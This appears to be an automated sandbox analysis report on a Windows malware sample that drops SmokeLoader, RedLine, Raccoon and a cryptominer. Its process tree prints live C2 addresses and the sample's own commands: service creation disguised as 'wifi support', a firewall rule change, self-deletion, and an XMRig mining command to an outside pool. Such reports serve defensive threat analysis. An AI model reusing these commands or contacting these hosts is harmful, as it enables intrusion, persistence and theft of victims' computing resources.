Analysis

  • max time kernel
    150s
  • max time network
    134s
  • platform
    windows7_x64
  • resource
    win7-en-20210920
  • submitted
    29-09-2021 16:16

General

  • Target

    c30c528c3c3d33903c598ef03b799e58.exe

  • Size

    222KB

  • MD5

    c30c528c3c3d33903c598ef03b799e58

  • SHA1

    8551c666ae37a03fd61cded18a9d3227c745d0cd

  • SHA256

    85450b08c8b089b5a642511b086c838e568dbc5a30174a398bb44eb62db6fdb6

  • SHA512

    70c46d9a53a895131ad3d1a35dfb682637ff75a61d909a66de7bf4abe6b7dc20aa106538b97adda89dcba977e81c3e3bdb5aa69f808f7d484f20c42f11988d18

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://fiskahlilian16.top/

http://paishancho17.top/

http://ydiannetter18.top/

http://azarehanelle19.top/

http://quericeriant20.top/

rc4.i32
rc4.i32

Extracted

Family

redline

C2

92.246.89.6:38437

Extracted

Family

raccoon

Botnet

5ff0ccb2bc00dc52d1ad09949e9c7663bc9ca4d4

Attributes
  • url4cnc

    https://t.me/agrybirdsgamerept

rc4.plain
rc4.plain

Extracted

Family

redline

Botnet

5k superstar

C2

narlelalik.xyz:12509

Extracted

Family

redline

Botnet

Spectrum

C2

190.2.145.73:16827

Signatures

  • Gozi RM3

    A heavily modified version of Gozi using RM3 loader.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 7 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • suricata: ET MALWARE Amadey CnC Check-In

    suricata: ET MALWARE Amadey CnC Check-In

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 13 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Drops startup file 1 IoCs
  • Loads dropped DLL 64 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Enumerates connected drives 3 TTPs 64 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 6 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Drops file in Windows directory 11 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 14 IoCs
  • Modifies system certificate store 2 TTPs 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 8 IoCs
  • Suspicious use of SendNotifyMessage 8 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\c30c528c3c3d33903c598ef03b799e58.exe
    "C:\Users\Admin\AppData\Local\Temp\c30c528c3c3d33903c598ef03b799e58.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1620
    • C:\Users\Admin\AppData\Local\Temp\c30c528c3c3d33903c598ef03b799e58.exe
      "C:\Users\Admin\AppData\Local\Temp\c30c528c3c3d33903c598ef03b799e58.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:1612
  • C:\Users\Admin\AppData\Local\Temp\2E11.exe
    C:\Users\Admin\AppData\Local\Temp\2E11.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1640
    • C:\Users\Admin\AppData\Local\Temp\2E11.exe
      C:\Users\Admin\AppData\Local\Temp\2E11.exe
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:324
  • C:\Users\Admin\AppData\Local\Temp\365C.exe
    C:\Users\Admin\AppData\Local\Temp\365C.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1652
    • C:\Users\Admin\AppData\Local\Temp\365C.exe
      C:\Users\Admin\AppData\Local\Temp\365C.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:584
  • C:\Users\Admin\AppData\Local\Temp\5429.exe
    C:\Users\Admin\AppData\Local\Temp\5429.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:304
    • C:\Users\Admin\AppData\Roaming\5429.exe
      "C:\Users\Admin\AppData\Roaming\5429.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of AdjustPrivilegeToken
      PID:1592
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c ""C:\Users\Admin\AppData\Local\Self.bat" "
        3⤵
          PID:436
          • C:\Windows\SysWOW64\chcp.com
            chcp 1251
            4⤵
              PID:1616
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 0 &Del C:\Users\Admin\AppData\Roaming\5429.exe
            3⤵
              PID:1456
              • C:\Windows\SysWOW64\choice.exe
                choice /C Y /N /D Y /T 0
                4⤵
                  PID:1776
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c ""C:\Users\Admin\AppData\Local\Self.bat" "
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:1580
              • C:\Windows\SysWOW64\chcp.com
                chcp 1251
                3⤵
                  PID:1716
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 0 &Del 5429.exe
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:1220
                • C:\Windows\SysWOW64\choice.exe
                  choice /C Y /N /D Y /T 0
                  3⤵
                    PID:1728
              • C:\Users\Admin\AppData\Local\Temp\6588.exe
                C:\Users\Admin\AppData\Local\Temp\6588.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:1608
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\tbzrstyk\
                  2⤵
                    PID:1288
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\hxxxmdjb.exe" C:\Windows\SysWOW64\tbzrstyk\
                    2⤵
                      PID:468
                    • C:\Windows\SysWOW64\sc.exe
                      "C:\Windows\System32\sc.exe" create tbzrstyk binPath= "C:\Windows\SysWOW64\tbzrstyk\hxxxmdjb.exe /d\"C:\Users\Admin\AppData\Local\Temp\6588.exe\"" type= own start= auto DisplayName= "wifi support"
                      2⤵
                        PID:1892
                      • C:\Windows\SysWOW64\sc.exe
                        "C:\Windows\System32\sc.exe" description tbzrstyk "wifi internet conection"
                        2⤵
                          PID:968
                        • C:\Windows\SysWOW64\sc.exe
                          "C:\Windows\System32\sc.exe" start tbzrstyk
                          2⤵
                            PID:1636
                          • C:\Windows\SysWOW64\netsh.exe
                            "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                            2⤵
                              PID:1176
                          • C:\Windows\SysWOW64\tbzrstyk\hxxxmdjb.exe
                            C:\Windows\SysWOW64\tbzrstyk\hxxxmdjb.exe /d"C:\Users\Admin\AppData\Local\Temp\6588.exe"
                            1⤵
                            • Executes dropped EXE
                            • Suspicious use of SetThreadContext
                            PID:1616
                            • C:\Windows\SysWOW64\svchost.exe
                              svchost.exe
                              2⤵
                              • Drops file in System32 directory
                              • Suspicious use of SetThreadContext
                              • Modifies data under HKEY_USERS
                              PID:1772
                              • C:\Windows\SysWOW64\svchost.exe
                                svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                                3⤵
                                  PID:1620
                            • C:\Users\Admin\AppData\Local\Temp\8317.exe
                              C:\Users\Admin\AppData\Local\Temp\8317.exe
                              1⤵
                              • Executes dropped EXE
                              • Loads dropped DLL
                              • Enumerates connected drives
                              • Modifies system certificate store
                              • Suspicious use of AdjustPrivilegeToken
                              PID:1288
                              • C:\Windows\SysWOW64\msiexec.exe
                                "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\DB Software Laboratory\Svn Syncronize Management 1.7.3.2\install\97C955F\adv.msi" AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\8317.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1632931986 " AI_EUIMSI=""
                                2⤵
                                • Blocklisted process makes network request
                                • Enumerates connected drives
                                • Suspicious use of FindShellTrayWindow
                                PID:1168
                            • C:\Users\Admin\AppData\Local\Temp\90FD.exe
                              C:\Users\Admin\AppData\Local\Temp\90FD.exe
                              1⤵
                              • Executes dropped EXE
                              PID:1412
                            • C:\Windows\system32\msiexec.exe
                              C:\Windows\system32\msiexec.exe /V
                              1⤵
                              • Blocklisted process makes network request
                              • Enumerates connected drives
                              • Drops file in Windows directory
                              • Suspicious use of AdjustPrivilegeToken
                              PID:1148
                              • C:\Windows\syswow64\MsiExec.exe
                                C:\Windows\syswow64\MsiExec.exe -Embedding 00AD8101BBA3C42753DFC689D9D02771 C
                                2⤵
                                • Loads dropped DLL
                                PID:2000
                              • C:\Windows\syswow64\MsiExec.exe
                                C:\Windows\syswow64\MsiExec.exe -Embedding 0E1ACE9524519124009951A712058293
                                2⤵
                                • Loads dropped DLL
                                PID:1952
                              • C:\Users\Admin\AppData\Roaming\DB Software Laboratory\Svn Syncronize Management\disksyncer.exe
                                "C:\Users\Admin\AppData\Roaming\DB Software Laboratory\Svn Syncronize Management\disksyncer.exe"
                                2⤵
                                • Executes dropped EXE
                                • Drops startup file
                                PID:1992
                            • C:\Users\Admin\AppData\Local\Temp\987D.exe
                              C:\Users\Admin\AppData\Local\Temp\987D.exe
                              1⤵
                              • Executes dropped EXE
                              • Modifies system certificate store
                              PID:680
                            • C:\Users\Admin\AppData\Local\Temp\A856.exe
                              C:\Users\Admin\AppData\Local\Temp\A856.exe
                              1⤵
                              • Executes dropped EXE
                              PID:1728

                            Network

                            MITRE ATT&CK Enterprise v6

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • memory/304-86-0x0000000000370000-0x0000000000371000-memory.dmp

                              Filesize

                              4KB

                            • memory/304-83-0x0000000000BB0000-0x0000000000BB1000-memory.dmp

                              Filesize

                              4KB

                            • memory/304-85-0x00000000041B0000-0x0000000004201000-memory.dmp

                              Filesize

                              324KB

                            • memory/304-87-0x00000000009D0000-0x00000000009D1000-memory.dmp

                              Filesize

                              4KB

                            • memory/584-78-0x0000000004820000-0x0000000004821000-memory.dmp

                              Filesize

                              4KB

                            • memory/584-76-0x0000000000400000-0x0000000000422000-memory.dmp

                              Filesize

                              136KB

                            • memory/584-73-0x0000000000400000-0x0000000000422000-memory.dmp

                              Filesize

                              136KB

                            • memory/680-186-0x0000000000400000-0x0000000000454000-memory.dmp

                              Filesize

                              336KB

                            • memory/680-185-0x0000000000230000-0x0000000000260000-memory.dmp

                              Filesize

                              192KB

                            • memory/680-187-0x0000000004B31000-0x0000000004B32000-memory.dmp

                              Filesize

                              4KB

                            • memory/680-189-0x0000000004B32000-0x0000000004B33000-memory.dmp

                              Filesize

                              4KB

                            • memory/680-191-0x0000000000530000-0x000000000054E000-memory.dmp

                              Filesize

                              120KB

                            • memory/680-165-0x00000000003D0000-0x00000000003EF000-memory.dmp

                              Filesize

                              124KB

                            • memory/680-192-0x0000000004B33000-0x0000000004B34000-memory.dmp

                              Filesize

                              4KB

                            • memory/680-193-0x0000000004B34000-0x0000000004B36000-memory.dmp

                              Filesize

                              8KB

                            • memory/1148-128-0x000007FEFC4F1000-0x000007FEFC4F3000-memory.dmp

                              Filesize

                              8KB

                            • memory/1364-57-0x0000000002A90000-0x0000000002AA5000-memory.dmp

                              Filesize

                              84KB

                            • memory/1364-79-0x0000000003C90000-0x0000000003CA5000-memory.dmp

                              Filesize

                              84KB

                            • memory/1364-212-0x000007FEF5A40000-0x000007FEF5B83000-memory.dmp

                              Filesize

                              1.3MB

                            • memory/1364-213-0x000007FE92130000-0x000007FE9213A000-memory.dmp

                              Filesize

                              40KB

                            • memory/1412-149-0x0000000000230000-0x00000000002C0000-memory.dmp

                              Filesize

                              576KB

                            • memory/1412-150-0x0000000000400000-0x0000000000493000-memory.dmp

                              Filesize

                              588KB

                            • memory/1592-94-0x00000000010A0000-0x00000000010A1000-memory.dmp

                              Filesize

                              4KB

                            • memory/1592-101-0x0000000004A50000-0x0000000004A51000-memory.dmp

                              Filesize

                              4KB

                            • memory/1592-157-0x0000000000F40000-0x0000000000F6A000-memory.dmp

                              Filesize

                              168KB

                            • memory/1608-106-0x0000000000400000-0x0000000000448000-memory.dmp

                              Filesize

                              288KB

                            • memory/1608-105-0x00000000001B0000-0x00000000001C3000-memory.dmp

                              Filesize

                              76KB

                            • memory/1612-53-0x0000000000400000-0x0000000000409000-memory.dmp

                              Filesize

                              36KB

                            • memory/1612-55-0x0000000076B61000-0x0000000076B63000-memory.dmp

                              Filesize

                              8KB

                            • memory/1616-130-0x0000000000400000-0x0000000000448000-memory.dmp

                              Filesize

                              288KB

                            • memory/1620-56-0x0000000000220000-0x0000000000229000-memory.dmp

                              Filesize

                              36KB

                            • memory/1620-206-0x0000000000110000-0x0000000000201000-memory.dmp

                              Filesize

                              964KB

                            • memory/1652-63-0x0000000000CB0000-0x0000000000CB1000-memory.dmp

                              Filesize

                              4KB

                            • memory/1652-66-0x0000000002210000-0x0000000002211000-memory.dmp

                              Filesize

                              4KB

                            • memory/1728-204-0x0000000004813000-0x0000000004814000-memory.dmp

                              Filesize

                              4KB

                            • memory/1728-202-0x0000000004811000-0x0000000004812000-memory.dmp

                              Filesize

                              4KB

                            • memory/1728-205-0x0000000004814000-0x0000000004816000-memory.dmp

                              Filesize

                              8KB

                            • memory/1728-203-0x0000000004812000-0x0000000004813000-memory.dmp

                              Filesize

                              4KB

                            • memory/1728-198-0x0000000001D50000-0x0000000001D6F000-memory.dmp

                              Filesize

                              124KB

                            • memory/1728-199-0x00000000020F0000-0x000000000210E000-memory.dmp

                              Filesize

                              120KB

                            • memory/1728-200-0x00000000003B0000-0x00000000003E0000-memory.dmp

                              Filesize

                              192KB

                            • memory/1728-201-0x0000000000400000-0x000000000045D000-memory.dmp

                              Filesize

                              372KB

                            • memory/1772-126-0x00000000000C0000-0x00000000000D5000-memory.dmp

                              Filesize

                              84KB